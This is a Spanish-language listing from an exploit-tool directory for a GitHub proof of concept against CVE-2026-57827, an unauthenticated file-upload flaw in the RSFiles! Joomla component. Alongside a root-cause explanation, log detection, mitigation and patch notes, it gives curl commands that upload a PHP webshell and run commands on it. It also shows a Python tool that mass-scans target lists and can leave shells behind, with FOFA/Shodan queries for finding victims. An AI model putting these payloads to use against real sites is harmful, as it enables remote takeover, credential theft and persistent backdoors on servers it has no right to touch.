Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-57827 — CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-57827
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubshinthink/cve-2026-57827

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE. Split-controller upload bypass. CVSS 9.8 | CWE-434 | com_rsfiles < 1.17.12

152hace 22 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2026-57827 — Componente RSFiles! de Joomla: RCE por subida de archivos no autenticada

Bypass de subida por controlador dividido → Tarea de escritura directa → /downloads/shell.php → RCE


Resumen

CVE-2026-57827 es una vulnerabilidad de subida arbitraria de archivos no autenticada de severidad crítica (CVSS 9.8) en RSFiles! (com_rsfiles), un componente de gestión de archivos y descargas muy utilizado para Joomla, en versiones < 1.17.12.

La vulnerabilidad explota un fallo de diseño de controlador dividido: RSFiles! separa su subida en dos tareas de frontend — una comprobación previa (puerta de permisos + lista blanca de extensiones) y un método de escritura (guarda el archivo en disco). El método de escritura puede invocarse directamente, omitiendo por completo la comprobación previa. No se requiere autenticación ni token CSRF.

Versiones afectadas

VersiónEstado
< 1.17.12Vulnerable
1.17.12+Parcheada

Descubierto por: Phil Taylor, mySites.guru (10 de julio de 2026) Proveedor: RSJoomla (rsjoomla.com) Componente: com_rsfiles


Mecanismo de la vulnerabilidad

Causa raíz

RSFiles! divide su subida en dos tareas de frontend independientes en /components/com_rsfiles/controllers/rsfiles.php:

root@kitploit:~
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Por qué funciona

  1. Controlador dividido — Las comprobaciones de seguridad y la escritura del archivo están en dos métodos diferentes. Solo la comprobación previa está protegida.
  2. Acceso directo a la tarea — El controlador de frontend de Joomla permite invocar cualquier tarea directamente mediante &task=rsfiles.upload, omitiendo por completo la comprobación previa.
  3. Sin autenticación — El controlador de frontend no tiene comprobación de acceso. Los visitantes anónimos pueden invocar la tarea de escritura.
  4. Sin token CSRF — El formulario de subida del frontend no tiene token CSRF global del sitio.
  5. Sin validación de tipo de archivo — El método de escritura lee el nombre del archivo de la petición y lo pasa al gestor de subidas incluido en Joomla (JFile::upload()), que acepta cualquier tipo de archivo por defecto.
  6. Carpeta de descargas en la raíz web — La carpeta de descargas por defecto de RSFiles! está dentro de la raíz web. El .htaccess protector que impediría la ejecución de PHP allí es un ajuste de administración opcional que está DESACTIVADO por defecto.

Flujo de ataque

root@kitploit:~
1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Referencias de código fuente verificadas

Detección en registros del servidor (del aviso de RSJoomla)

root@kitploit:~
Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Fallo de diseño clave

Las comprobaciones de seguridad (puerta de permisos + lista blanca de extensiones) son un paso previo separado del método que realmente escribe el archivo. Solo la primera contiene las comprobaciones. La segunda — la que escribe en disco — puede invocarse directamente manipulando el parámetro task adecuado en la URL, omitiendo todos los controles de seguridad.

Este es un ejemplo de libro de texto del antipatrón «comprobaciones y acciones en lugares distintos»: la protección y la operación que se supone que debe proteger están desacopladas, y un atacante puede alcanzar la operación sin pasar por la protección.


Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57827.git
cd CVE-2026-57827
pip install requests

Uso

root@kitploit:~
# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argumentos

root@kitploit:~
  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prueba de concepto

Objetivo único

root@kitploit:~
$ python cve_2026_57827.py -t joomla-site.com
root@kitploit:~
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://joomla-site.com/components/com_rsfiles/downloads/.a1b2c3.php?t=token
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Explotación manual

Paso 1 — Subir el shell

root@kitploit:~
curl -X POST 'https://target.com/index.php?option=com_rsfiles&task=rsfiles.upload' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Paso 2 — Acceder al shell

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id'

Paso 3 — Ejecutar comandos

root@kitploit:~
curl 'https://target.com/downloads/shell.php?c=id;hostname;uname -a'

Mitigación (si no es posible actualizar)

root@kitploit:~
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

root@kitploit:~
FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Impacto

Una explotación exitosa produce ejecución remota de código como el usuario del servidor web:

  • Extraer configuration.php → credenciales de la base de datos, secretos SMTP
  • Acceder a todo el contenido, usuarios y datos de extensiones de Joomla
  • Desplegar puertas traseras persistentes
  • Pivotar a redes internas
  • Defacear el sitio web o inyectar malware

No se necesita ninguna cuenta en el sitio en ningún paso. Anónimo, no autenticado y remoto.


La corrección (1.17.12)

RSJoomla corrigió la vulnerabilidad en la versión 1.17.12 de la siguiente manera:

  • Añadiendo una comprobación de permisos al propio método de escritura (no solo a la comprobación previa)
  • Añadiendo validación del tipo de archivo al método de escritura
  • Exigiendo el token CSRF en el endpoint de subida del frontend
  • Haciendo que la protección .htaccess en la carpeta de descargas esté habilitada por defecto

Descargo de responsabilidad

SOLO PARA FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.

No lo utilice contra sistemas sin el permiso explícito del propietario. Los autores no asumen ninguna responsabilidad por el mal uso.


Referencias


No afiliado con RSJoomla ni con mySites.guru.

Descargar herramienta
ArchivoPropósito
/components/com_rsfiles/controllers/rsfiles.phpControlador con las tareas vulnerables upload() y checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpPlantilla del formulario de subida del frontend (confirmado: name="file", task=rsfiles.upload)
/downloads/Carpeta de descargas por defecto en la raíz web (protección .htaccess DESACTIVADA por defecto)
/briefcase/Carpeta del briefcase (también escribible)
RecursoEnlace
Entrada NVDCVE-2026-57827
Aviso de mySites.gurumysites.guru/blog/rsfiles-unauthenticated-file-upload-rce
Aviso de RSJoomlarsjoomla.com
CWE-434Subida sin restricciones de un archivo con tipo peligroso
Reportado porPhil Taylor, mySites.guru